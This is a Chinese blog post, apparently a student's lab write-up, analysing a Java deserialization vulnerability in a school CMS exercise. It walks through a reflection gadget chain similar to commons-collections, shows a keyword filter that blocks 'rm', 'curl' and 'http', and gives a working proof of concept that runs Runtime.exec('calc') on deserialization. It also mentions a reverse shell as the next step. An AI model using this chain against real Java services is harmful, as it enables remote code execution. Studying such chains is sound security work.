ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

学校网安实践遇到的反序列化

2021-10-19 13:31:54  阅读:110  来源: 互联网

标签:args ReflectionPlay Object 实践 private 网安 new 序列化 public


正在进行java安全的学习,正好学校网安实践有相关的题目,这个反序列化漏洞是在学校的awd靶场中进行cms审计时发现的。也算是我第一次独立分析java反序列化代码。
这里只放出反序列化代码的分析过程。

反序列化代码

package com.deserialize;

import java.io.ObjectInputStream;
import java.io.Serializable;
import java.lang.reflect.Method;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class ReflectionPlay implements Serializable {
   private static final long serialVersionUID = 814434800882325819L;

   private void gl(ReflectionPlay.ReflectionObject obj) {
      if (obj != null && "exec".equals(obj.methodName) && obj.args.length != 0) {
         for(int i = 0; i < obj.args.length; ++i) {
            Object ag = obj.args[i];
            if (ag != null && ag instanceof String) {
               String fh = replaceAll((String)ag, "rm", "XX");
               fh = replaceAll(fh, "http", "XX");
               fh = replaceAll(fh, "\\\\", "XX");
               fh = replaceAll(fh, "//", "XX");
               fh = replaceAll(fh, "\\.", "XX");
               fh = replaceAll(fh, ">", "XX");
               fh = replaceAll(fh, "curl", "XX");
               obj.args[i] = fh;
            }
         }

      }
   }

   public static String replaceAll(String input, String regex, String replacement) {
      try {
         Pattern p = Pattern.compile(regex, 2);
         Matcher m = p.matcher(input);
         return m.replaceAll(replacement);
      } catch (Exception var5) {
         var5.printStackTrace();
         return input;
      }
   }

   public class AttackObject implements Serializable {
      private static final long serialVersionUID = 4082925022846947297L;
      private ReflectionPlay.ReflectionChainsArry reflectionChainsArry;

      public AttackObject(ReflectionPlay.ReflectionChainsArry reflectionChainsArry) {
         this.reflectionChainsArry = reflectionChainsArry;
      }

      private void readObject(ObjectInputStream stream) throws Exception {
         this.reflectionChainsArry = (ReflectionPlay.ReflectionChainsArry)stream.readFields().get("reflectionChainsArry", (Object)null);
         this.reflectionChainsArry.execute();
      }
   }

   public class ReflectionChainsArry implements Serializable {
      private static final long serialVersionUID = 991019635353232843L;
      private ReflectionPlay.ReflectionChains[] reflectionChains;

      public ReflectionChainsArry(ReflectionPlay.ReflectionChains[] reflectionChains) {
         this.reflectionChains = reflectionChains;
      }

      public Object execute() throws Exception {
         Object concurrentObject = null;
         ReflectionPlay.ReflectionChains[] var2 = this.reflectionChains;
         int var3 = var2.length;

         for(int var4 = 0; var4 < var3; ++var4) {
            ReflectionPlay.ReflectionChains reflectionChainObject = var2[var4];
            concurrentObject = reflectionChainObject.transform(concurrentObject);
         }

         return concurrentObject;
      }
   }

   public class ReflectionChains implements Serializable {
      private static final long serialVersionUID = 7085587767543412902L;
      private Object firstObject;
      private ReflectionPlay.ReflectionObject[] reflectionObjects;

      public ReflectionChains(Object firstObject, ReflectionPlay.ReflectionObject[] reflectionObjects) {
         this.firstObject = firstObject;
         this.reflectionObjects = reflectionObjects;
      }

      public Object transform(Object InObj) throws Exception {
         Object concurrentObject = this.firstObject;

         for(int i = 0; i < this.reflectionObjects.length; ++i) {
            if (this.reflectionObjects[i].dynarg == 1 && InObj != null) {
               this.reflectionObjects[i].addArg(InObj);
            }

            ReflectionPlay.this.gl(this.reflectionObjects[i]);
            concurrentObject = this.reflectionObjects[i].transform(concurrentObject);
         }

         return concurrentObject;
      }
   }

   public class ReflectionObject implements Serializable {
      private static final long serialVersionUID = -3677766270625763305L;
      private String methodName;
      private Class[] paramTypes;
      private Object[] args;
      private Object arg;
      public int dynarg = 0;

      public ReflectionObject(int dynarg, String methodName, Class[] paramTypes, Object[] args) {
         this.methodName = methodName;
         this.paramTypes = paramTypes;
         this.args = args;
         this.dynarg = dynarg;
      }

      public void addArg(Object add) {
         if (this.methodName.equals("newInstance")) {
            this.args = new Object[]{new Object[]{add}};
         } else {
            if (this.args.length > 0) {
               this.args[0] = add;
            } else {
               this.args = new Object[]{add};
            }

         }
      }

      public Object transform(Object input) throws Exception {
         try {
            Class inputClass = input.getClass();
            Method TargetMethod = inputClass.getMethod(this.methodName, this.paramTypes);
            TargetMethod.setAccessible(true);
            return TargetMethod.invoke(input, this.args);
         } catch (Exception var4) {
            if (this.args != null && this.args.length != 0) {
               Object obj = this.args[0];
               if (obj instanceof Object[]) {
                  throw new RuntimeException(((Object[])((Object[])obj))[0].toString());
               } else {
                  throw new RuntimeException(obj.toString());
               }
            } else {
               throw var4;
            }
         }
      }
   }
}

大致看一眼,可以发现与commons-collections中的transform利用链相似。
首先找到readObject方法,这里构造方法接收参数为 ReflectionPlay.ReflectionChainsArry,readObject中调用execute方法

 public class AttackObject implements Serializable {
      private static final long serialVersionUID = 4082925022846947297L;
      private ReflectionPlay.ReflectionChainsArry reflectionChainsArry;

      public AttackObject(ReflectionPlay.ReflectionChainsArry reflectionChainsArry) {
         this.reflectionChainsArry = reflectionChainsArry;
      }

      private void readObject(ObjectInputStream stream) throws Exception {
         this.reflectionChainsArry = (ReflectionPlay.ReflectionChainsArry)stream.readFields().get("reflectionChainsArry", (Object)null);
         this.reflectionChainsArry.execute();
      }
   }

ReflectionPlay.ReflectionChainsArry代码,构造方法接收列表参数reflectionChains,意味着可以构造多条利用链,

 public class ReflectionChainsArry implements Serializable {
      private static final long serialVersionUID = 991019635353232843L;
      private ReflectionPlay.ReflectionChains[] reflectionChains;

      public ReflectionChainsArry(ReflectionPlay.ReflectionChains[] reflectionChains) {
         this.reflectionChains = reflectionChains;
      }

      public Object execute() throws Exception {
         Object concurrentObject = null;
         ReflectionPlay.ReflectionChains[] var2 = this.reflectionChains;
         int var3 = var2.length;

         for(int var4 = 0; var4 < var3; ++var4) {
            ReflectionPlay.ReflectionChains reflectionChainObject = var2[var4];
            concurrentObject = reflectionChainObject.transform(concurrentObject);
         }

         return concurrentObject;
      }
   }

ReflectionChains类的代码 意味着构造利用链,链中依次调用transform函数,且将上一个输入作为下一次的输出。感觉类似commons-collections利用链中的transform链。

public class ReflectionChains implements Serializable {
      private static final long serialVersionUID = 7085587767543412902L;
      private Object firstObject;
      private ReflectionPlay.ReflectionObject[] reflectionObjects;

      public ReflectionChains(Object firstObject, ReflectionPlay.ReflectionObject[] reflectionObjects) {//构造方法接收两个参数,这个firstObject是指要被实例化的类,如Runtime.class
         this.firstObject = firstObject;
         this.reflectionObjects = reflectionObjects;
      }

      public Object transform(Object InObj) throws Exception {
         Object concurrentObject = this.firstObject;

         for(int i = 0; i < this.reflectionObjects.length; ++i) {//遍历reflectionObjects列表,当其中一个reflectionObjects的dynarg为1且参数InObj非空时,调用addArg方法。
            if (this.reflectionObjects[i].dynarg == 1 && InObj != null) {
               this.reflectionObjects[i].addArg(InObj);
            }
		//调用gl方法过滤敏感词
            ReflectionPlay.this.gl(this.reflectionObjects[i]);
          //调用transform方法
            concurrentObject = this.reflectionObjects[i].transform(concurrentObject);
         }

         return concurrentObject;
      }
   }

gl函数代码

 private void gl(ReflectionPlay.ReflectionObject obj) {
      if (obj != null && "exec".equals(obj.methodName) && obj.args.length != 0) {//当对象非空且方法名为exec,且参数个数非空时,对每个参数进行过滤,使用XX替换以下的正则表达式
         for(int i = 0; i < obj.args.length; ++i) {
            Object ag = obj.args[i];
            if (ag != null && ag instanceof String) {
               String fh = replaceAll((String)ag, "rm", "XX");
               fh = replaceAll(fh, "http", "XX");
               fh = replaceAll(fh, "\\\\", "XX");
               fh = replaceAll(fh, "//", "XX");
               fh = replaceAll(fh, "\\.", "XX");
               fh = replaceAll(fh, ">", "XX");
               fh = replaceAll(fh, "curl", "XX");
               obj.args[i] = fh;
            }
         }

      }
   }

   public static String replaceAll(String input, String regex, String replacement) {//过滤函数
      try {
         Pattern p = Pattern.compile(regex, 2);
         Matcher m = p.matcher(input);
         return m.replaceAll(replacement);
      } catch (Exception var5) {
         var5.printStackTrace();
         return input;
      }
   }

ReflectionObject代码

 public class ReflectionObject implements Serializable {
      private static final long serialVersionUID = -3677766270625763305L;
      private String methodName;
      private Class[] paramTypes;
      private Object[] args;
      private Object arg;
      public int dynarg = 0;

      public ReflectionObject(int dynarg, String methodName, Class[] paramTypes, Object[] args) {
         this.methodName = methodName;
         this.paramTypes = paramTypes;
         this.args = args;
         this.dynarg = dynarg;
      }//构造方法接收方法名,参数类型,参数列表

      public void addArg(Object add) {//当方法名为newInstance时,参数列表为add对象
         if (this.methodName.equals("newInstance")) {
            this.args = new Object[]{new Object[]{add}};//=={{add}}
         } else {
            if (this.args.length > 0) {//若不为newInstance,则第一个参数为add。
               this.args[0] = add;
            } else {
               this.args = new Object[]{add};//=={add}
            }

         }
      }

      public Object transform(Object input) throws Exception {//使用反射执行代码
         try {
            Class inputClass = input.getClass();
            Method TargetMethod = inputClass.getMethod(this.methodName, this.paramTypes);
            TargetMethod.setAccessible(true);
            return TargetMethod.invoke(input, this.args);
         } catch (Exception var4) {
            if (this.args != null && this.args.length != 0) {
               Object obj = this.args[0];
               if (obj instanceof Object[]) {
                  throw new RuntimeException(((Object[])((Object[])obj))[0].toString());
               } else {
                  throw new RuntimeException(obj.toString());
               }
            } else {
               throw var4;
            }
         }
      }
   }

调用链
image

尝试构造poc,成功弹出计算器

package com.company;

import com.company.ReflectionPlay.*;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main {

    public static void main(String[] args) throws Exception{
        ReflectionObject obj1 = new ReflectionPlay().new ReflectionObject(0,"getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null});//构造三个对象来组成第一条链
        ReflectionObject obj2 = new ReflectionPlay().new ReflectionObject(0,"invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null});
        ReflectionObject obj3 = new ReflectionPlay().new ReflectionObject(0,"exec",new Class[]{String.class},new Object[]{"calc"});
        ReflectionChains chain1 = new ReflectionPlay().new ReflectionChains(Runtime.class, new ReflectionObject[]{obj1, obj2, obj3});//第一条链
        ReflectionChains[] transformers_exec = new ReflectionChains[]{
                chain1
        };//poc只用第一条链验证,exp的话需要多条链进行复杂的构造,或者尝试反弹shell

        ReflectionChainsArry ca = new ReflectionPlay().new ReflectionChainsArry(transformers_exec);

        AttackObject ao = new ReflectionPlay().new AttackObject(ca);

        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(ao);
        oos.flush();
        oos.close();
        // 本地模拟反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
    }
}

调用栈

image

标签:args,ReflectionPlay,Object,实践,private,网安,new,序列化,public
来源: https://www.cnblogs.com/xyylll/p/15424335.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有